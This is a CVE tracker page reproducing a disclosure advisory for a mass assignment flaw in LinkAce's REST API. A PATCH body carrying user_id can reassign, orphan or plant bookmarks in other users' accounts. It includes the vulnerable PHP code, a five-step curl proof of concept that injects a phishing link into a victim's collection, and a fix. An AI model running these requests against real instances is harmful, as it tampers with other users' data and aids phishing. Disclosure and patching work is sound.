CVE Watchtower

← Back to CVE List

CVE-2026-104184NVD

Vulnerability Summary

Summary I found a mass assignment vulnerability in LinkAce's REST API link update endpoint. The API `LinkController::update()` passes `$request->all()` — the raw, unvalidated request body — to the repository's `update()` method, which calls `$link->update($data)`. Since `user_id` is in the `Link` model's `$fillable` array, an authenticated API user can set any link's `user_id` to an arbitrary value: transferring the link to another user's account, orphaning it to a non-existent user, or injecting content into another user's bookmark collection. The web controller is unaffected because it correctly uses `$request->validated()`. Details In `app/Http/Controllers/API/LinkController.php` at line 61: ```php // API/LinkController.php line 61 public function update(LinkUpdateRequest $request, ApiLink $link): JsonResponse { $this->authorize('update', $link); $updatedLink = LinkRepository::update($link, $request->all()); // ← raw input, not validated() return response()->json($updatedLink); } ``` `LinkRepository::update()` calls `$link->update($data)` directly with the attacker-supplied array. In `app/Models/Link.php` line 62, `user_id` is included in `$fillable`: ```php // app/Models/Link.php line 62 protected $fillable = [ 'url', 'title', 'description', 'is_private', 'check_disabled', 'status', 'thumbnail_file', 'favicon_file', 'user_id', // ← mass-assignable ]; ``` The `LinkUpdateRequest` validation rules do not include `user_id`, so `$request->validated()` would exclude it. But `$request->all()` includes every key the client sends. By contrast, the web controller in `app/Http/Controllers/LinkController.php` uses `$request->validated()`: ```php // Web LinkController::update() — correct: $updatedLink = LinkRepository::update($link, $request->validated()); ``` PoC Prerequisites: - A registered LinkAce account with an API token - Tools: `curl` ```bash LINKACE="https://linkace.example.com" API_TOKEN="<your-sanctum-api-token>" Step 1 — Create a link owned by the current user (user ID will be, e.g., 1) LINK_RESP=$(curl -s -X POST "$LINKACE/api/v2/links" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url":"https://example.com","title":"My Private Link","is_private":1}') LINK_ID=$(echo "$LINK_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])") echo "Created link ID: $LINK_ID (owner: user_id=$(echo $LINK_RESP | python3 -c \"import sys,json; print(json.load(sys.stdin)['user_id'])\"))" Expected: {"id": 5, "user_id": 1, "url": "https://example.com", ...} Step 2 — Transfer ownership to another user (e.g., user ID 2) curl -s -X PATCH "$LINKACE/api/v2/links/$LINK_ID" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url":"https://example.com","title":"My Private Link","user_id":2}' | \ python3 -c "import sys,json; d=json.load(sys.stdin); print('New owner user_id:', d.get('user_id'))" Expected: "New owner user_id: 2" — link transferred to user 2 Step 3 — Verify the original owner can no longer see the link curl -s "$LINKACE/api/v2/links/$LINK_ID" \ -H "Authorization: Bearer $API_TOKEN" Expected: 403 Forbidden — link now belongs to user 2, not user 1 Step 4 — Orphan a link by assigning it to a non-existent user_id curl -s -X PATCH "$LINKACE/api/v2/links/$LINK_ID" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url":"https://example.com","user_id":99999}' Expected: {"user_id": 99999, ...} — link orphaned, inaccessible to any real user Step 5 — Inject a link into another user's account (attacker creates link, assigns to victim) curl -s -X PATCH "$LINKACE/api/v2/links/$LINK_ID" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url":"https://phishing.example.com","title":"Important: Update your password","user_id":2}' Expected: link now appears in user 2's bookmark list without their knowledge ``` Impact An authenticated API user can: 1. Permanently lose their own links: by setting `user_id` to a non-existent ID, the link is orphaned and inaccessible to anyone 2. Transfer their links to another user's account: the victim user now sees a link they never created in their bookmark list, including any private notes attached to it 3. Inject crafted content into another user's account: an attacker can create a phishing link or misleading bookmark and inject it into any user's collection, potentially causing the victim to visit malicious URLs that appear to come from their own bookmarks 4. Deny service to self: all of an attacker's own links can be reassigned away, destroying their entire bookmark collection Fix Replace `$request->all()` with `$request->validated()` in `app/Http/Controllers/API/LinkController.php` line 65: ```php // Change: $updatedLink = LinkRepository::update($link, $request->all()); // To: $updatedLink = LinkRepository::update($link, $request->validated()); ``` The `LinkUpdateRequest` validator already defines the correct set of permitted fields (url, title, description, lists, tags, visibility, check_disabled) and does not include `user_id`, so `validated()` will exclude it automatically. Apply the same audit to `ListController` and `TagController` API update methods to ensure they also use `validated()`. If possible, please apply for a CVE number when publishing. I would greatly appreciate it.
Severity Level
HIGH(7.1)
Published Date
Oct 2, 2026
Last Modified
Oct 2, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
EPSS Score (30-Day)
Data Pending
Root Weakness (CWE)
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
CVSS v3.1 Base Metrics — Score 7.1
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityHigh
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • kovah/linkace <= 2.5.9
Patched Versions
  • kovah/linkace 2.6.0
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.